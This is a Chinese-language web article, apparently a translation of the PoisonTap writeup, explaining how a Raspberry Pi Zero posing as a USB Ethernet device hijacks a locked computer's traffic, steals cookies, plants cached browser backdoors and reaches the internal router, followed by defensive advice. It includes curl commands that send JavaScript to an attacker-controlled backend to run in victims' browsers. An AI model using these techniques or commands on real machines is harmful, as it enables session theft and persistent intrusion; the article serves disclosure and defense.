怎么入侵一个锁屏的电脑,Raspberry Pi Zero就可以

分类:互联网 时间:2023-04-14 01:06 浏览:271
概述
模拟以太设备通过USB从机器劫持所有上网流量(尽管是一个低级优先级/未知的网络接口)存储Alexa排名top 1000000 的网站的http cookies 和sessions暴露内部路由器给攻击者,使攻击者可以访问远程WebSocket并且重新绑定DNS(感谢马特·奥斯汀DNS重新绑定的想法!)安装在HTTP缓存持久基于Web的后门为成千上万个域名和常见的JavaScript CDN的URL,都通过缓存中毒访问用户的coo
内容

  • 模拟以太设备通过USB

  • 从机器劫持所有上网流量(尽管是一个低级优先级/未知的网络接口)

  • 存储Alexa排名top 1000000 的网站的http cookies 和sessions

  • 暴露内部路由器给攻击者,使攻击者可以访问远程WebSocket并且重新绑定DNS(感谢马特·奥斯汀DNS重新绑定的想法!)

  • 安装在HTTP缓存持久基于Web的后门为成千上万个域名和常见的JavaScript CDN的URL,都通过缓存中毒访问用户的cookie

  • 允许攻击者在任何后门域中可以远程强制使用用户的cookie进行HTTP请求和代理回应响应(GET&POST)

  • 不需要机器解锁

  • 即使设备被删除偷走,后门访问仍然继续

[embed]http://v.youku.com/v_show/id_XMTgyMjc3NDU2OA==.html[/embed]

  • 密码保护与屏幕锁定

  • 路由表优先级和和网络接口循序

  • 同源策略

  • X-Frame-Options

  • HttpOnly Cookies

  • SameSite cookie的属性

  • 双因素/多因素验证(2FA / MFA)

  • DNS绑定

  • 跨域资源共享(CORS)

  • 当安全标记cookie和HSTS未启用时进行HTTPS cookie 保护

PoisonTap是由 价值5$的Raspberry Pi Zero构建的,除了微型USB电缆和microSD卡之外不需要任何其它额外组件,但PoisonTap可以在其它可以模拟USB小部件(如USB Armory和LAN Turtle)的设备上工作。

(incredible HTML5 canvas animation by Ara) Video Demo: https://youtu.be/Aatp5gCskvk Point of Contact: @SamyKamkar // https://samy.pl Released: November 16, 2016 Source code and download: https://github.com/samyk/poisontapHow PoisonTap Works

怎么入侵一个锁屏的电脑,Raspberry Pi Zero就可以


网络攻击

  • 通常,如果次要网络设备连接到机器,因为它将被给予比现有(受信任)网络设备更低的优先级,并且不会取代用于因特网业务的网关,但是...

  • 任何路由表/网关优先级/网络接口服务顺序安全性由于“LAN流量”优先级超过“Internet流量”而被绕过

  • PoisonTap利用此网络访问,甚至作为低优先级网络设备,因为低优先级网络设备的子网被给予比最高优先级网络设备的网关(默认路由)更高的优先级

  • 这意味着如果流量为1.2.3.4,而通常此流量将击中主网络设备(非PoisonTap)的默认路由/网关,PoisonTap实际上获取流量,因为PoisonTap“本地”网络/子网包含1.2 .3.4,以及每个其它IP地址存在;)

  • 因此,即使机器连接到具有较高优先级和正确网关(真正的WiFi,以太网等)的另一个网络设备,所有的Internet流量也会经过PoisonTap

抓取Cookie

  • 你可以验证这一点,通过进入devtools / inspector(通常是Cmd + Shift + I或Ctrl + Shift + I),然后点击一个访问量很大的网站,点击网络选项卡,并观察作为远程资源继续访问,即使你在页面上没有采取任何操作。

  • 如果DNS服务器指向PoisonTap无法获得特权的内部IP(LAN),攻击继续有效,因为内部DNS服务器将为受攻击的各个域产生公共IP地址,并且它是PoisonTap的公共IP地址已经劫持

  • 一旦内部DNS服务器响应,Web浏览器将访问公共IP,最终在任一情况下访问PoisonTap Web服务器(Node.js)

  • 域上的任何“X-Frame-Options”安全性都被绕过,因为PoisonTap现在是HTTP服务器,并选择发送到客户端的标头

  • 随着对网站的每个iframe HTTP请求(例如,http://nfl.com/PoisonTap),HTTP cookie从浏览器发送到PoisonTap劫持的“公共IP”,其迅速记录cookie /验证信息,将成千上万的用户的Cookie记录到PoisonTap

  • 任何“HttpOnly”cookie安全性被绕过,并且捕获这些cookie是因为没有Javascript在域本身上执行,而是仅用于首先加载iframe

  • 任何跨源资源共享或同源策略安全性被绕过,因为正在访问的域对浏览器显示合法

  • 由于我们捕获的是Cookie而不是凭据,因此当攻击者使用Cookie登录时,将绕过在网站上实施的任何2FA / MFA。这是因为我们实际上不是执行登录功能,而是继续一个已经登录的会话,不会触发双因素身份验证

  • 如果服务器使用HTTPS,但Cookie未显式设置安全cookie标志,则绕过HTTPS保护,并将cookie发送到PoisonTap

基于web后门的远程访问

  • 例如,当加载http://nfl.com/PoisonTap iframe时,PoisonTap通过Node Web服务器响应HTTP请求接受转向的Internet流量。

  • 添加了其它HTTP头以无限缓存页面

  • WebSocket保持打开状态,允许攻击者在将来的任何时候连接回后端机器,并在任何有后门实现的源上执行请求(Alexa排名前100万个网站 - 见下文)

  • 如果后门在一个站点(例如,nfl.com)上打开,但用户希望攻击不同的域(例如,pinterest.com),攻击者可以将nfl.com上的iframe加载到pinterest.com后门(http://pinterest.com/PoisonTap)。

  • 同样,域上的任何“X框架选项”,跨源资源共享和同源策略安全性完全被绕过,因为请求将命中PoisonTap离开的缓存,而不是真正的域

怎么入侵一个锁屏的电脑,Raspberry Pi Zero就可以


内部路由器后门和远程访问

  • 当使用PoisonTap作为DNS服务器(受害者使用公共DNS服务器)时,PoisonTap临时使用专门的PoisonTap IP(1.0.0.1)进行响应,这意味着此时的任何请求都将命中PoisonTap Web服务器

  • 如果期待DNS服务器设置内部网络(例如,192.168.0.x),我们对1.0.0.1.pin.ip.samy.pl服务器发出一个额外的特制请求,几秒之后,它会返回专用DNS服务器(公网的)的信息。

  • 然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置一个后门,暂时指向1.0.0.1版本的PoisonTap设备,它允许后门从PoisonTap设备访问和存储

  • 这可能导致对路由器的其它攻击,攻击者可能从来没有访问过,例如路由器上的默认管理员凭据用于覆盖DNS服务器或暴露的其他身份验证漏洞

Recap of the DNS server:

[ip.addy].ip.samy.pl normally responds with [ip.addy]
192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
[ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]
1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)
(after ~5 seconds)
192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)

1.此外,PoisonTap替代了成千上万的常见的,基于CDN的Javascript文件,如谷歌和jQuery CDNs。在确定安全的代码加上一个后门,可以让攻击者访问任何域时加载受感染的基于CDN的Javascript文件 2.由于每个域上都留有后门,即使当前受害者没有对当前域任何开放任何窗口,攻击者几乎可以远程强制后端浏览器在任何主域上执行同源请求(AJAX GET / POST) 3.当受害者访问网站时,后门现在可以在任何额外的网站上使用这些受感染的,基于HTTP的CDN Javascript框架

安全预防posion Tap

如果你正在运行一个web服务器,以下是安全防御posion Tap的样例: 1.仅使用HTTPS,至少为认证和已认证的内容使用HTTPS 2.老实说,你应该单独使用HTTPS,并始终将HTTP内容重定向到HTTPS,防止用户通过HTTP提交被欺骗提供的凭据或其它PII 3.确保在Cookie上启用安全标记,防止通过HTTP泄漏HTTPS Cookie 4.使用HSTS防止HTTPS降级攻击

1.拿粘合剂封住USB和Thunderbolt端口效果不错(与第3条类似,不过这里是物理封锁---小编注) 2.每次离开机器时关闭浏览器,不过这是完全不切实际的 3.禁用USB / Thunderbolt端口也是有效的,虽然也不切实际 4.锁定计算机没有任何效果,因为网络和USB堆栈在机器锁定期间操作。但是,计算机进入加密睡眠模式(例如,FileVault2 +深度睡眠)可以解决大多数问题,因为内存需要内存需要秘钥解密,即使你的浏览器被唤醒。它仍然不能提出任何请求。

Source code: https://github.com/samyk/poisontap文件分解

  • ackdoor.html:每当一个http://hostname/PoisonTap URL命中exfiltrate cookies,这个文件是作为强制缓存的内容返回。它包含一个后门,生成一个出站websocket到samy.pl:1337(可调整到任何主机/端口),保持打开等待服务器的命令。当你在网站上加载iframe(如http://hostname/PoisonTap)时,这意味着这是被填充的内容(即使PoisonTap从计算机中删除)。

  • backend_server.js :这是你在Internet可访问的服务器上运行的Node.js服务器。 这是正是backdoor.html连接的内容(例如,samy.pl:1337)。 这是你连接到发送命令到你的PoisonTapped minion机器相同的服务器,例如

# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'

<ul font-size:16px;background-color:#ffffff;"="" style="font-size: 12px; white-space: normal; padding: 0px; list-style: none; text-align: center; background-color: rgb(255, 255, 255); color: rgb(34, 34, 34); font-family: "Microsoft YaHei" !important;">

  • pi_poisontap.js:它通过Raspberry Pi Zero上的Node.js运行,是PoisonTap是负责截获的来自HTTP服务器的任何请求的,是存储Cookie和注入缓存的后门。

  • pi_startup.sh:它在Raspberry Pi Zero上启动时运行,以便将设备设置为模拟USB以太网小配件,为我们设置恶意DHCP服务器,允许流量重走,DNS欺骗,并启动上面的pi_poisontap.js。

  • target_backdoor.js: 此文件预先放在任何与CDN相关的Javascript文件中,从而将其封锁。

  • target_injected_xhtmljs.html:这是在受害者的机器上注入无意/后台HTTP / AJAX请求并产生整个攻击的代码。它的构造方式使得它可以解释为HTML或Javascript,并且仍然执行相同的代码。

  • poisontap.cookies.log: 一旦用户的计算机开始向PoisonTap发送HTTP请求,并且记录来自浏览器的cookie及其所属的相关URL /域,就会生成此文件。


评论
网站首页 | 关于我们 | 广告合作 | 联系我们 | 隐私条款 | 免责声明 | 网站地图 | 返回首页
Copyright 2014-2025 长亭站长,All Rights Reserved 版权所有
客服热线:182-7159-2020(周一至周五:8:00-7:00) 粤ICP备2023020626号-1